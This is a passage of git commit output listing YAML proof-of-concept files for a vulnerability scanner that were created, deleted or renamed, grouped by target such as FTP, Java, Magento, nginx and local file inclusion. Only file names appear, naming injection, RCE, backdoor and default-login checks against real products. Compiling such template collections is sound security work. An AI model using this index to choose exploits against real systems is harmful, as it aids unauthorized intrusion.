poc/exposed/glpi-telemetry-disclosure-7739.yaml create mode 100644 poc/exposed/gogs-install-exposure-7755.yaml create mode 100644 poc/exposed/iis-internal-ip-disclosure-8149.yaml create mode 100644 poc/exposed/iis-internal-ip-disclosure-8150.yaml delete mode 100644 poc/exposed/iotawatt-app-exposure-8186.yaml delete mode 100644 poc/exposed/iotawatt-app-exposure.yaml rename poc/exposed/{java-melody-exposed.yaml => java-melody-exposed-8222.yaml} (100%) rename poc/exposed/{jfrog-unauth-build-exposed-8299.yaml => jfrog-unauth-build-exposed-8302.yaml} (100%) rename poc/exposed/{magento-2-exposed-api.yaml => magento-2-exposed-api-8687.yaml} (100%) delete mode 100644 poc/exposed/magento-2-exposed-api-8688.yaml create mode 100644 poc/exposed/magento-config-disclosure.yaml delete mode 100644 poc/exposed/monitorix-exposure-8933.yaml delete mode 100644 poc/exposed/netgear-router-exposure.yaml create mode 100644 poc/exposed/opcache-status-exposure-9255.yaml delete mode 100644 poc/exposed/opcache-status-exposure.yaml delete mode 100644 poc/exposed/openbmcs-secret-disclosure-9260.yaml create mode 100644 poc/exposed/openbmcs-secret-disclosure.yaml create mode 100644 poc/exposed/oracle-ebs-sqllog-disclosure-9371.yaml rename poc/exposed/{pgadmin-exposure-9490.yaml => pgadmin-exposure-9488.yaml} (100%) delete mode 100644 poc/exposed/php-user-ini-disclosure-9559.yaml create mode 100644 poc/exposed/php-user-ini-disclosure-9560.yaml delete mode 100644 poc/exposed/pmb-local-file-disclosure-9620.yaml create mode 100644 poc/exposed/prometheus-exposed-panel-9682.yaml create mode 100644 poc/exposed/putty-private-key-disclosure-9731.yaml delete mode 100644 poc/exposed/putty-private-key-disclosure-9732.yaml rename poc/exposed/{pyproject-disclosure-9738.yaml => pyproject-disclosure-9736.yaml} (100%) delete mode 100644 poc/exposed/pyproject-disclosure.yaml delete mode 100644 poc/exposed/rails-secret-token-disclosure-9809.yaml create mode 100644 poc/exposed/rails-secret-token-disclosure-9810.yaml rename poc/exposed/{ruijie-information-disclosure.yaml => ruijie-information-disclosure-9932.yaml} (100%) delete mode 100644 poc/exposed/selenium-exposure-10137.yaml create mode 100644 poc/exposed/selenium-exposure-10138.yaml delete mode 100644 poc/exposed/sensitive-storage-exposure.yaml delete mode 100644 poc/exposed/snyk-ignore-file-disclosure-10348.yaml create mode 100644 poc/exposed/thanos-prometheus-exposure.yaml create mode 100644 poc/exposed/travis-ci-disclosure.yaml rename poc/exposed/{tugboat-config-exposure-10842.yaml => tugboat-config-exposure-10843.yaml} (100%) delete mode 100644 poc/exposed/tugboat-config-exposure.yaml create mode 100644 poc/exposed/unigui-server-monitor-exposure.yaml create mode 100644 poc/exposed/watchguard-credentials-disclosure-11105.yaml rename poc/exposed/{watchguard-credentials-disclosure-11106.yaml => watchguard-credentials-disclosure.yaml} (100%) delete mode 100644 poc/exposed/wordpress-wpcourses-info-disclosure-11371.yaml rename poc/exposed/{wp-mailchimp-log-exposure-11492.yaml => wp-mailchimp-log-exposure-11494.yaml} (100%) delete mode 100644 poc/exposed/wp-mailchimp-log-exposure.yaml delete mode 100644 poc/exposed/yarn-manager-exposure-11731.yaml create mode 100644 poc/exposed/yarn-manager-exposure-11733.yaml delete mode 100644 poc/favicon/favicon-detection-7441.yaml delete mode 100644 poc/favicon/favicon-detection-7444.yaml create mode 100644 poc/favicon/favicon-detection-7446.yaml create mode 100644 poc/favicon/site-favicon.yaml create mode 100644 poc/ftp/aws-sftp-detect.yaml delete mode 100644 poc/ftp/crush-ftp-detect-1272.yaml create mode 100644 poc/ftp/crush-ftp-login-1275.yaml create mode 100644 poc/ftp/crushftp-anonymous-login.yaml create mode 100644 poc/ftp/dionaea-ftp-honeypot-detect.yaml create mode 100644 poc/ftp/ftp-weak-credentials-7569.yaml delete mode 100644 poc/ftp/ftpconfig-7566.yaml create mode 100644 poc/ftp/ftpconfig.yaml create mode 100644 poc/ftp/gnu-inetutils-ftpd-detect.yaml create mode 100644 poc/ftp/microsoft-ftp-service.yaml create mode 100644 poc/ftp/mikrotik-ftp-server-detect.yaml create mode 100644 poc/ftp/moveit-sftp-detect.yaml create mode 100644 poc/ftp/proftpd-backdoor.yaml create mode 100644 poc/ftp/proftpd-server-detect.yaml rename poc/ftp/{solarwinds-servuftp-detect-10360.yaml => solarwinds-servuftp-detect-10362.yaml} (100%) create mode 100644 poc/ftp/tftp-detect.yaml create mode 100644 poc/ftp/unauth-ftp-10939.yaml delete mode 100644 poc/ftp/unauth-ftp-10940.yaml delete mode 100644 poc/ftp/web-ftp-detect-11136.yaml create mode 100644 poc/ftp/wing-ftp-detect.yaml create mode 100644 poc/ftp/xlight-ftp-service-detect.yaml create mode 100644 poc/fuzz/adminer-panel-fuzz-73.yaml rename poc/fuzz/{fuzz-mode.yaml => fuzz-query.yaml} (100%) delete mode 100644 poc/fuzz/lfi-linux-fuzz.yaml create mode 100644 poc/gcloud/gcp-service-account-11851.yaml delete mode 100644 poc/git/api-gitlab-430.yaml delete mode 100644 poc/git/api-gitlab-431.yaml create mode 100644 poc/git/axiom-digitalocean-key-exposure-666.yaml create mode 100644 poc/git/digital-watchdog-default-login.yaml create mode 100644 poc/git/digital-watchdog-panel.yaml create mode 100644 poc/git/digitalrebar-traversal.yaml delete mode 100644 poc/git/git-config-7635.yaml create mode 100644 poc/git/git-config-nginxoffbyslash-7629.yaml create mode 100644 poc/git/git-credentials-disclosure-7641.yaml delete mode 100644 poc/git/gitbook-detect.yaml create mode 100644 poc/git/github-page-config-7654.yaml create mode 100644 poc/git/github-takeover-7659.yaml delete mode 100644 poc/git/github-takeover-7663.yaml create mode 100644 poc/git/github-workflows-disclosure-7664.yaml delete mode 100644 poc/git/github-workflows-disclosure-7666.yaml rename poc/git/{gitlab-public-repos-7678.yaml => gitlab-public-repos-7675.yaml} (100%) create mode 100644 poc/git/gitlab-public-signup-7683.yaml delete mode 100644 poc/git/gitlab-public-snippets-7690.yaml delete mode 100644 poc/git/gitlab-rce.yaml delete mode 100644 poc/git/gitlab-user-enumeration-7697.yaml rename poc/git/{gitlab-weak-login.yaml => gitlab-weak-login-7704.yaml} (100%) delete mode 100644 poc/google/google-api(1).yaml create mode 100644 poc/google/google-api-7772.yaml create mode 100644 poc/google/google-api-key-7769.yaml delete mode 100644 poc/google/google-bucket-service.yaml create mode 100644 poc/google/google-cse.yaml delete mode 100644 poc/google/google-earth-dlogin.yaml delete mode 100644 poc/google/google-floc-disabled-7783.yaml create mode 100644 poc/google/google-floc-disabled-7785.yaml create mode 100644 poc/google/google-places-reviews-a9b6955a2812b2fe0a13ae0f0752d58f.yaml delete mode 100644 poc/google/google-storage-7788.yaml delete mode 100644 poc/google/metadata-google-8819.yaml create mode 100644 poc/google/metadata-google.yaml delete mode 100644 poc/graphite/graphite-browser-7824.yaml create mode 100644 poc/graphite/graphite-browser-7825.yaml delete mode 100644 poc/graphql/graphql-alias-batching.yaml create mode 100644 poc/graphql/graphql-detect-7829.yaml delete mode 100644 poc/graphql/graphql-field-suggestion.yaml delete mode 100644 poc/header/display-via-header-7017.yaml create mode 100644 poc/header/header-command-injection-7917.yaml delete mode 100644 poc/header/header_sqli.yaml create mode 100644 poc/header/host-header-injection-8000.yaml create mode 100644 poc/header/host-header-poisoning.yaml rename poc/header/{http-hsts-header.yaml => http-xframe-header.yaml} (100%) create mode 100644 poc/header/oob-header-based-interaction-9250.yaml delete mode 100644 poc/header/oob-header-based-interaction.yaml create mode 100644 poc/header/sqli_header (copy 1).yaml create mode 100644 poc/header/sqli_header-10504.yaml create mode 100644 poc/http/apache-httpd-rce-362.yaml delete mode 100644 poc/http/detect-dns-over-https-6969.yaml create mode 100644 poc/http/dionaea-http-honeypot-detect.yaml rename poc/http/{http-raw-multiple.yaml => http-raw.yaml} (100%) rename poc/{other/dns-value-share-template-3.yaml => http/http-value-share-template-2.yaml} (100%) rename poc/http/{http-hsts-header.yaml => http-xframe-header.yaml} (100%) create mode 100644 poc/http/httpbin-open-redirect-8049.yaml create mode 100644 poc/http/httpbin-panel-8050.yaml delete mode 100644 poc/http/httpbin-panel-8051.yaml delete mode 100644 poc/ibm/ibm-advanced-system-management-8090.yaml create mode 100644 poc/ibm/ibm-advanced-system-management-8091.yaml create mode 100644 poc/ibm/ibm-d2b-database-server.yaml create mode 100644 poc/ibm/ibm-mqseries-default-login-8107.yaml delete mode 100644 poc/ibm/ibm-mqseries-default-login.yaml rename poc/ibm/{ibm-note-login-8111.yaml => ibm-note-login-8110.yaml} (100%) create mode 100644 poc/ibm/ibm-security-access-manager-8115.yaml delete mode 100644 poc/ibm/ibm-websphere-ssrf-8126.yaml create mode 100644 poc/injection/buffalo-config-injection-798.yaml delete mode 100644 poc/injection/buffalo-config-injection-801.yaml create mode 100644 poc/injection/crlf-injection-1260.yaml delete mode 100644 poc/injection/crlf-injection-1265.yaml delete mode 100644 poc/injection/duomicms-sql-injection-7122.yaml delete mode 100644 poc/injection/duomicms-sql-injection.yaml create mode 100644 poc/injection/glpi-9.3.3-sql-injection.yaml create mode 100644 poc/injection/header-command-injection-7917.yaml create mode 100644 poc/injection/host-header-injection-8000.yaml create mode 100644 poc/injection/simple-crm-sql-injection.yaml delete mode 100644 poc/java/Springboot-Heapdump.yaml create mode 100644 poc/java/apache-tomcat-CVE-2022-34305.yaml create mode 100644 poc/java/apache-tomcat-snoop-374.yaml delete mode 100644 poc/java/apache-tomcat-snoop-375.yaml create mode 100644 poc/java/default-glassfish-server-page-6854.yaml create mode 100644 poc/java/default-jetty-page-6862.yaml create mode 100644 poc/java/default-jetty-page.yaml create mode 100644 poc/java/default-tomcat-page-6910.yaml delete mode 100644 poc/java/default-tomcat-page-6911.yaml rename poc/java/{ecology-springframework-directory-traversal-7175.yaml => ecology-springframework-directory-traversal-7174.yaml} (100%) create mode 100644 poc/java/ecology-springframework-directory-traversal.yaml create mode 100644 poc/java/exposed-alps-spring-7283.yaml delete mode 100644 poc/java/exposed-springboot.yaml delete mode 100644 poc/java/ibm-websphere-ssrf-8126.yaml rename poc/java/{java-melody-exposed.yaml => java-melody-exposed-8222.yaml} (100%) create mode 100644 poc/java/java-melody-xss.yaml delete mode 100644 poc/java/java-rmi-detect-8227.yaml create mode 100644 poc/java/java-rmi-detect.yaml delete mode 100644 poc/java/javascript-env-8231.yaml create mode 100644 poc/java/javascript-env.yaml create mode 100644 poc/java/jboss-detect-8237.yaml delete mode 100644 poc/java/jboss-detect.yaml delete mode 100644 poc/java/jboss-status-8241.yaml delete mode 100644 poc/java/jboss-status.yaml mode change 100755 => 100644 poc/java/jboss-web-console.yaml delete mode 100644 poc/java/jetty-showcontexts-enable-8295.yaml delete mode 100644 poc/java/jetty-showcontexts-enable-8298.yaml create mode 100644 poc/java/jinfornet-jreport-lfi-8309.yaml rename poc/java/{jinfornet-jreport-lfi-8307.yaml => jinfornet-jreport-lfi.yaml} (100%) delete mode 100644 poc/java/shiro-detect-10196.yaml create mode 100644 poc/java/spring-framework-exceptions-10493.yaml delete mode 100644 poc/java/spring-framework-exceptions.yaml create mode 100644 poc/java/spring-functions-rce.yaml create mode 100644 poc/java/springForShell-CVE-2022-22965.yaml delete mode 100644 poc/java/springboot-actuators-jolokia-xxe-10430.yaml delete mode 100644 poc/java/springboot-autoconfig-10436.yaml create mode 100644 poc/java/springboot-configprops-10442.yaml delete mode 100644 poc/java/springboot-configprops-10444.yaml create mode 100644 poc/java/springboot-h2-db-rce-10454.yaml delete mode 100644 poc/java/springboot-h2-db-rce-10458.yaml delete mode 100644 poc/java/springboot-health-10460.yaml create mode 100644 poc/java/springboot-log4j-rce.yaml rename poc/java/{springboot-loggers-10476.yaml => springboot-loggers-10475.yaml} (100%) rename poc/java/{springboot-mappings-10479.yaml => springboot-mappings-10480.yaml} (100%) create mode 100644 poc/java/struts-debug-mode-10560.yaml delete mode 100644 poc/java/struts-debug-mode-10561.yaml create mode 100644 poc/java/struts-problem-report-10563.yaml delete mode 100644 poc/java/struts-problem-report-10564.yaml create mode 100644 poc/java/tomcat-manager-pathnormalization-10797.yaml delete mode 100644 poc/java/tomcat-scripts-10803.yaml rename poc/java/{tomcat-workflow.yaml => tomcat-workflow-10805.yaml} (100%) create mode 100644 poc/java/weblogic-detect-11143.yaml rename poc/java/{weblogic-t3-detect-11151.yaml => weblogic-t3-detect-11153.yaml} (100%) delete mode 100644 poc/javascript/aem-querybuilder-json-servlet-182.yaml delete mode 100644 poc/javascript/aem-querybuilder-json-servlet-186.yaml create mode 100644 poc/javascript/bower-json-769.yaml create mode 100644 poc/javascript/drupal-jsonapi-user-listing.yaml create mode 100644 poc/javascript/fastjson-1-2-24-rce.yaml delete mode 100644 poc/javascript/fastjson-1-2-42-rce-7407.yaml delete mode 100644 poc/javascript/fastjson-1-2-42-rce.yaml create mode 100644 poc/javascript/fastjson-1-2-47-rce.yaml delete mode 100644 poc/javascript/fastjson-1-2-62-rce.yaml delete mode 100644 poc/javascript/fastjson-1-2-68-rce-7425.yaml delete mode 100644 poc/javascript/fastjson-version.yaml create mode 100644 poc/javascript/hjsoft-eHR-system-sqli.yaml create mode 100644 poc/javascript/hjsoft-servlet-DisplayFiles-fileread.yaml delete mode 100644 poc/javascript/javascript-env-8231.yaml create mode 100644 poc/javascript/javascript-env.yaml create mode 100644 poc/javascript/keycloak-json-8472.yaml delete mode 100644 poc/javascript/keycloak-json-8473.yaml create mode 100644 poc/javascript/kiwitcms-json-rpc.yaml create mode 100644 poc/javascript/log4jshell.yaml create mode 100644 poc/jenkins/jenkins-asyncpeople-8268.yaml delete mode 100644 poc/jenkins/jenkins-default-8272.yaml delete mode 100644 poc/jenkins/jenkins-login-8277.yaml create mode 100644 poc/jenkins/jenkins-login-detection.yaml rename poc/joomla/{joomla-config-file.yaml => joomla-config-dist-file.yaml} (100%) delete mode 100644 poc/joomla/joomla-config-file-8376.yaml create mode 100644 poc/joomla/joomla-panel-8391.yaml create mode 100644 poc/joomla/joomla-workflow-8395.yaml rename poc/joomla/{joomla-workflow-8393.yaml => joomla-workflow.yaml} (100%) delete mode 100644 poc/joomla/rusty-joomla.yaml create mode 100644 poc/kafka/kafka-center-default-login-8415.yaml delete mode 100644 poc/kafka/kafka-center-login-8418.yaml create mode 100644 poc/kafka/kafka-center-login-8419.yaml create mode 100644 poc/kafka/kafka-consumer-monitor-8424.yaml delete mode 100644 poc/kafka/kafka-consumer-monitor-8425.yaml create mode 100644 poc/kafka/kafka-topics-list.yaml delete mode 100644 poc/kong/kong-detect-8499.yaml delete mode 100644 poc/laravel/laravel-debug-enabled.yaml delete mode 100644 poc/laravel/laravel-filemanager-lfi-8587.yaml create mode 100644 poc/laravel/laravel-ignition-xss.yaml delete mode 100644 poc/laravel/laravel-telescope-8601.yaml rename poc/local_file_inclusion/{accent-microcomputers-lfi.yaml => accent-microcomputers-lfi-14.yaml} (100%) delete mode 100644 poc/local_file_inclusion/accent-microcomputers-lfi-16.yaml delete mode 100644 poc/local_file_inclusion/ad-widget-lfi-124.yaml create mode 100644 poc/local_file_inclusion/ad-widget-lfi.yaml create mode 100644 poc/local_file_inclusion/advanced-access-manager-lfi-118.yaml rename poc/local_file_inclusion/{advanced-access-manager-lfi-116.yaml => advanced-access-manager-lfi.yaml} (100%) create mode 100644 poc/local_file_inclusion/asanhamayesh-lfi-552.yaml delete mode 100644 poc/local_file_inclusion/asanhamayesh-lfi.yaml rename poc/local_file_inclusion/{cherry-lfi-903.yaml => cherry-lfi.yaml} (100%) delete mode 100644 poc/local_file_inclusion/church-admin-lfi.yaml rename poc/local_file_inclusion/{churchope-lfi.yaml => churchope-lfi-915.yaml} (100%) delete mode 100644 poc/local_file_inclusion/churchope-lfi-916.yaml create mode 100644 poc/local_file_inclusion/cs-cart-unauthenticated-lfi-1282.yaml delete mode 100644 poc/local_file_inclusion/cs-cart-unauthenticated-lfi.yaml delete mode 100644 poc/local_file_inclusion/db-backup-lfi-6775.yaml delete mode 100644 poc/local_file_inclusion/diarise-theme-lfi.yaml delete mode 100644 poc/local_file_inclusion/dicoogle-pacs-lfi-6993.yaml delete mode 100644 poc/local_file_inclusion/dicoogle-pacs-lfi.yaml delete mode 100644 poc/local_file_inclusion/elfinder-detect.yaml create mode 100644 poc/local_file_inclusion/elfinder-version.yaml create mode 100644 poc/local_file_inclusion/generic-linux-lfi-7589.yaml create mode 100644 poc/local_file_inclusion/generic-windows-lfi-7590.yaml create mode 100644 poc/local_file_inclusion/geovision-geowebserver-lfi.yaml create mode 100644 poc/local_file_inclusion/global-domains-lfi-7716.yaml create mode 100644 poc/local_file_inclusion/global-domains-lfi.yaml create mode 100644 poc/local_file_inclusion/goip-1-lfi-7761.yaml delete mode 100644 poc/local_file_inclusion/goip-1-lfi.yaml create mode 100644 poc/local_file_inclusion/groupoffice-lfi-7849.yaml delete mode 100644 poc/local_file_inclusion/health-check-lfi.yaml create mode 100644 poc/local_file_inclusion/huawei-hg255s-lfi-8059.yaml delete mode 100644 poc/local_file_inclusion/huawei-hg255s-lfi.yaml delete mode 100644 poc/local_file_inclusion/huawei-hg659-lfi-8067.yaml create mode 100644 poc/local_file_inclusion/jeewms-lfi.yaml create mode 100644 poc/local_file_inclusion/jinfornet-jreport-lfi-8309.yaml rename poc/local_file_inclusion/{jinfornet-jreport-lfi-8307.yaml => jinfornet-jreport-lfi.yaml} (100%) delete mode 100644 poc/local_file_inclusion/laravel-filemanager-lfi-8587.yaml delete mode 100644 poc/local_file_inclusion/lfi-linux-fuzz.yaml create mode 100644 poc/local_file_inclusion/magicflow-lfi.yaml delete mode 100644 poc/local_file_inclusion/metinfo-lfi.yaml delete mode 100644 poc/local_file_inclusion/minimouse-lfi.yaml delete mode 100644 poc/local_file_inclusion/mpsec-lfi-8957.yaml delete mode 100644 poc/local_file_inclusion/mthemeunus-lfi-8971.yaml create mode 100644 poc/local_file_inclusion/oliver-library-lfi.yaml create mode 100644 poc/local_file_inclusion/pacsone-server-lfi-9428.yaml delete mode 100644 poc/local_file_inclusion/phpwiki-lfi-9566.yaml create mode 100644 poc/local_file_inclusion/processmaker-lfi.yaml delete mode 100644 poc/local_file_inclusion/qihang-media-lfi-9769.yaml create mode 100644 poc/local_file_inclusion/qihang-media-lfi.yaml create mode 100644 poc/local_file_inclusion/ruijie-networks-lfi.yaml delete mode 100644 poc/local_file_inclusion/samsung-wlan-ap-lfi-9999.yaml delete mode 100644 poc/local_file_inclusion/simple-image-manipulator-lfi-10281.yaml create mode 100644 poc/local_file_inclusion/simple-image-manipulator-lfi-10282.yaml create mode 100644 poc/local_file_inclusion/sniplets-lfi-10341.yaml create mode 100644 poc/local_file_inclusion/squirrelmail-lfi-10517.yaml create mode 100644 poc/local_file_inclusion/surrealtodo-lfi.yaml rename poc/local_file_inclusion/{targa-camera-lfi.yaml => targa-camera-lfi-10653.yaml} (100%) create mode 100644 poc/local_file_inclusion/thinkcmf-lfi (copy 1).yaml delete mode 100644 poc/local_file_inclusion/thinkcmf-lfi-10724.yaml create mode 100644 poc/local_file_inclusion/video-synchro-pdf-lfi-11007.yaml delete mode 100644 poc/local_file_inclusion/vmware-vcenter-lfi-linux-11044.yaml create mode 100644 poc/local_file_inclusion/wordpress-lfi.yaml delete mode 100644 poc/local_file_inclusion/wordpress-wordfence-lfi-11349.yaml create mode 100644 poc/local_file_inclusion/wp-memphis-documents-library-lfi-11495.yaml delete mode 100644 poc/local_file_inclusion/wp-spot-premium-lfi.yaml delete mode 100644 poc/local_file_inclusion/wp-tinymce-lfi-11589.yaml create mode 100644 poc/local_file_inclusion/wp-tinymce-lfi-11591.yaml create mode 100644 poc/local_file_inclusion/wp-tutor-lfi-11596.yaml delete mode 100644 poc/local_file_inclusion/yishaadmin-lfi-11743.yaml rename poc/magento/{magento-2-exposed-api.yaml => magento-2-exposed-api-8687.yaml} (100%) delete mode 100644 poc/magento/magento-2-exposed-api-8688.yaml create mode 100644 poc/magento/magento-admin-panel-8690.yaml create mode 100644 poc/magento/magento-config-8703.yaml create mode 100644 poc/magento/magento-config-disclosure.yaml delete mode 100644 poc/magento/magento-detect-8704.yaml create mode 100644 poc/magento/magento-detect-8707.yaml delete mode 100644 poc/microsoft/74cms-sqli-9.yaml create mode 100644 poc/microsoft/74cms-sqli.yaml delete mode 100644 poc/microsoft/aims-password-mgmt-client-221.yaml delete mode 100644 poc/microsoft/aims-password-portal-224.yaml rename poc/microsoft/{chamilo-lms-sqli-892.yaml => chamilo-lms-sqli-891.yaml} (100%) create mode 100644 poc/microsoft/chamilo-lms-sqli.yaml delete mode 100644 poc/microsoft/cisco-systems-login-973.yaml create mode 100644 poc/microsoft/cisco-systems-login-975.yaml rename poc/microsoft/{craft-cms-detect.yaml => craft-cms-detect-1247.yaml} (100%) create mode 100644 poc/microsoft/craftercms-detect.yaml create mode 100644 poc/microsoft/craftercms-panel.yaml create mode 100644 poc/microsoft/cw-alarms-actions.yaml create mode 100644 poc/microsoft/dedecms-carbuyaction-fileinclude-6792.yaml delete mode 100644 poc/microsoft/dedecms-carbuyaction-fileinclude.yaml delete mode 100644 poc/microsoft/dedecms-membergroup-sqli-6798.yaml create mode 100644 poc/microsoft/dedecms-openredirect-6800.yaml create mode 100644 poc/microsoft/dotcms-admin-panel-7085.yaml delete mode 100644 poc/microsoft/dotcms-admin-panel-7087.yaml delete mode 100644 poc/microsoft/duomicms-sql-injection-7122.yaml delete mode 100644 poc/microsoft/duomicms-sql-injection.yaml delete mode 100644 poc/microsoft/dzs-zoomsounds-listing-7148.yaml create mode 100644 poc/microsoft/ems-login-panel-7225.yaml create mode 100644 poc/microsoft/eyoucms-installer.yaml delete mode 100644 poc/microsoft/finecms-sqli.yaml create mode 100644 poc/microsoft/getsimple-cms-detect.yaml delete mode 100644 poc/microsoft/grav-cms-detect-7843.yaml delete mode 100644 poc/microsoft/grav-cms-detect-7844.yaml create mode 100644 poc/microsoft/jeewms-lfi.yaml create mode 100644 poc/microsoft/kevinlab-bems-sqli-8457.yaml delete mode 100644 poc/microsoft/kevinlab-hems-backdoor-8467.yaml create mode 100644 poc/microsoft/kevinlab-hems-backdoor.yaml delete mode 100644 poc/microsoft/kiwitcms-login-8497.yaml create mode 100644 poc/microsoft/maccmsv10-backdoor-8683.yaml delete mode 100644 poc/microsoft/microsoft-exchange-panel-8848.yaml create mode 100644 poc/microsoft/microsoft-exchange-panel-8850.yaml create mode 100644 poc/microsoft/microsoft-exchange-server-detect-8851.yaml create mode 100644 poc/microsoft/microsoft-exchange-workflow-8855.yaml delete mode 100644 poc/microsoft/microsoft-exchange-workflow.yaml create mode 100644 poc/microsoft/microsoft-ftp-service.yaml create mode 100644 poc/microsoft/monstracms-detect.yaml create mode 100644 poc/microsoft/msmq-detect.yaml create mode 100644 poc/microsoft/msmtp-config-8967.yaml create mode 100644 poc/microsoft/myucms-lfr.yaml create mode 100644 poc/microsoft/ninja-forms-b0074d876c57e6b2b77d7378a0f7c12a.yaml delete mode 100644 poc/microsoft/octobercms-default-login-9192.yaml create mode 100644 poc/microsoft/octobercms-default-login-9193.yaml create mode 100644 poc/microsoft/opennms-web-console-9285.yaml delete mode 100644 poc/microsoft/opennms-web-console-9287.yaml create mode 100644 poc/microsoft/outsystems-servicecenter-panel.yaml create mode 100644 poc/microsoft/pandora-fms-console-9451.yaml delete mode 100644 poc/microsoft/pandora-fms-console-9453.yaml delete mode 100644 poc/microsoft/pbootcms-database-file-download-9469.yaml delete mode 100644 poc/microsoft/plone-cms-detect.yaml delete mode 100644 poc/microsoft/powercreator-cms-rce-9646.yaml delete mode 100644 poc/microsoft/rhymix-cms-detect-9877.yaml create mode 100644 poc/microsoft/rhymix-cms-detect-9878.yaml delete mode 100644 poc/microsoft/samsung-wlan-ap-lfi-9999.yaml delete mode 100644 poc/microsoft/samsung-wlan-ap-rce-10008.yaml rename poc/microsoft/{samsung-wlan-ap-rce.yaml => samsung-wlan-ap-rce-10009.yaml} (100%) delete mode 100644 poc/microsoft/samsung-wlan-ap-xss.yaml create mode 100644 poc/microsoft/samsung-wlan-default-login-10018.yaml delete mode 100644 poc/microsoft/seacms-rce-10100.yaml create mode 100644 poc/microsoft/seacms-rce-10101.yaml delete mode 100644 poc/microsoft/seeddms-default-login-10127.yaml create mode 100644 poc/microsoft/seeddms-default-login.yaml rename poc/microsoft/{seeddms-detect-10129.yaml => seeddms-detect-10131.yaml} (100%) create mode 100644 poc/microsoft/teamspeak3-detect.yaml create mode 100644 poc/microsoft/tikiwiki-cms-10774.yaml create mode 100644 poc/microsoft/top-xss-params-10807.yaml create mode 100644 poc/microsoft/vpms-auth-bypass-11066.yaml create mode 100644 poc/microsoft/wems-manager-xss.yaml create mode 100644 poc/microsoft/wondercms-detect-11223.yaml create mode 100644 poc/microsoft/wondercms-detect.yaml delete mode 100644 poc/microsoft/wp-arforms-listing-11415.yaml rename poc/microsoft/{wp-arforms-listing.yaml => wp-arforms-listing-11418.yaml} (100%) delete mode 100644 poc/microsoft/wp-plugin-lifterlms-11536.yaml delete mode 100644 poc/microsoft/wp-super-forms-11587.yaml rename poc/microsoft/{wuzhicms-sqli-11656.yaml => wuzhicms-sqli.yaml} (100%) create mode 100644 poc/microsoft/zcms-v3-sqli.yaml create mode 100644 poc/mongodb/alibaba-mongoshake-unauth.yaml create mode 100644 poc/mongodb/mongodb-detect-8920.yaml create mode 100644 poc/mongodb/mongodb-detect.yaml create mode 100644 poc/mongodb/mongodb-info-enum.yaml create mode 100644 poc/mongodb/mongodb-ops-manager-8924.yaml delete mode 100644 poc/mongodb/mongodb-unauth-8926.yaml create mode 100644 poc/mongodb/mongodb-unauth.yaml create mode 100644 poc/mysql/dionaea-mysql-honeypot-detect.yaml create mode 100644 poc/mysql/esafenet-mysql-fileread.yaml rename poc/mysql/{exposed-mysql-initial.yaml => exposed-mysql-initial-7322.yaml} (100%) create mode 100644 poc/mysql/mysql-default-login.yaml create mode 100644 poc/mysql/mysql-detect.yaml create mode 100644 poc/mysql/mysql-info.yaml delete mode 100644 poc/mysql/mysql-native-password-8980.yaml delete mode 100644 poc/netlify/netlify-takeover-9043.yaml delete mode 100644 poc/nginx/default-nginx-page-6881.yaml create mode 100644 poc/nginx/git-config-nginxoffbyslash-7629.yaml create mode 100644 poc/nginx/nginx-config-9099.yaml rename poc/nginx/{nginx-config-9098.yaml => nginx-config.yaml} (100%) delete mode 100644 poc/nginx/nginx-linux-page.yaml create mode 100644 poc/nginx/nginx-merge-slashes-path-traversal-9105.yaml delete mode 100644 poc/nginx/nginx-merge-slashes-path-traversal.yaml delete mode 100644 poc/nginx/nginx-module-vts-xss-9109.yaml create mode 100644 poc/nginx/nginx-status-9115.yaml rename poc/nginx/{nginx-status-9117.yaml => nginx-status.yaml} (100%) delete mode 100644 poc/nginx/nginx-version-9121.yaml create mode 100644 poc/nginx/nginx-version-9123.yaml delete mode 100644 poc/nodejs/express-lfr-post (copy 1).yaml create mode 100644 poc/nodejs/node-express-dev-env.yaml create mode 100644 poc/nodejs/one-page-express-companion-b3450b2b967c29b6f76b4d9998747491.yaml delete mode 100644 poc/nodejs/puppet-node-manager-detect-9720.yaml create mode 100644 poc/nodejs/puppet-node-manager-detect.yaml delete mode 100644 poc/open_redirect/age-gate-open-redirect-207.yaml create mode 100644 poc/open_redirect/age-gate-open-redirect.yaml rename poc/open_redirect/{aspnuke-openredirect-554.yaml => aspnuke-openredirect-556.yaml} (100%) create mode 100644 poc/open_redirect/aspnuke-openredirect.yaml rename poc/open_redirect/{attitude-theme-open-redirect.yaml => attitude-theme-open-redirect-588.yaml} (100%) create mode 100644 poc/open_redirect/aws-redirect-651.yaml create mode 100644 poc/open_redirect/caddy-open-redirect-837.yaml create mode 100644 poc/open_redirect/dedecms-openredirect-6800.yaml delete mode 100644 poc/open_redirect/drupal-user-enum-redirect-7114.yaml delete mode 100644 poc/open_redirect/drupal-user-enum-redirect-7115.yaml create mode 100644 poc/open_redirect/httpbin-open-redirect-8049.yaml delete mode 100644 poc/open_redirect/icewarp-open-redirect.yaml delete mode 100644 poc/open_redirect/music-store-open-redirect.yaml delete mode 100644 poc/open_redirect/newsletter-open-redirect.yaml create mode 100644 poc/open_redirect/open-redirect2.yaml rename poc/open_redirect/{pieregister-open-redirect.yaml => pieregister-open-redirect-9579.yaml} (100%) create mode 100644 poc/open_redirect/pieregister-plugin-open-redirect.yaml create mode 100644 poc/open_redirect/pollbot-redirect-9623.yaml rename poc/open_redirect/{pollbot-redirect-9621.yaml => pollbot-redirect.yaml} (100%) create mode 100644 poc/open_redirect/sap-redirect-10064.yaml delete mode 100644 poc/open_redirect/sap-redirect-10066.yaml create mode 100644 poc/open_redirect/ultimatemember-open-redirect-10877.yaml create mode 100644 poc/open_redirect/ultimatemember-open-redirect.yaml delete mode 100644 poc/open_redirect/weekender-newspaper-open-redirect-11186.yaml rename poc/open_redirect/{wordpress-redirection-plugin-listing.yaml => wordpress-redirection-plugin-listing-11306.yaml} (100%) rename poc/open_redirect/{wp-prostore-open-redirect.yaml => wp-prostore-open-redirect-11546.yaml} (100%) delete mode 100644 poc/open_redirect/wp-prostore-open-redirect-11550.yaml create mode 100644 poc/open_redirect/wp-security-open-redirect-11561.yaml delete mode 100644 poc/open_redirect/wp-security-open-redirect.yaml create mode 100644 poc/open_redirect/wptouch-open-redirect-11595.yaml create mode 100644 poc/oracle/default-oracle-application-page-6891.yaml delete mode 100644 poc/oracle/metadata-oracle-8829.yaml create mode 100644 poc/oracle/metadata-oracle.yaml create mode 100644 poc/oracle/oracle-access-management.yaml delete mode 100644 poc/oracle/oracle-business-control-9344.yaml create mode 100644 poc/oracle/oracle-dbass-detect.yaml create mode 100644 poc/oracle/oracle-ebs-credentials-9365.yaml create mode 100644 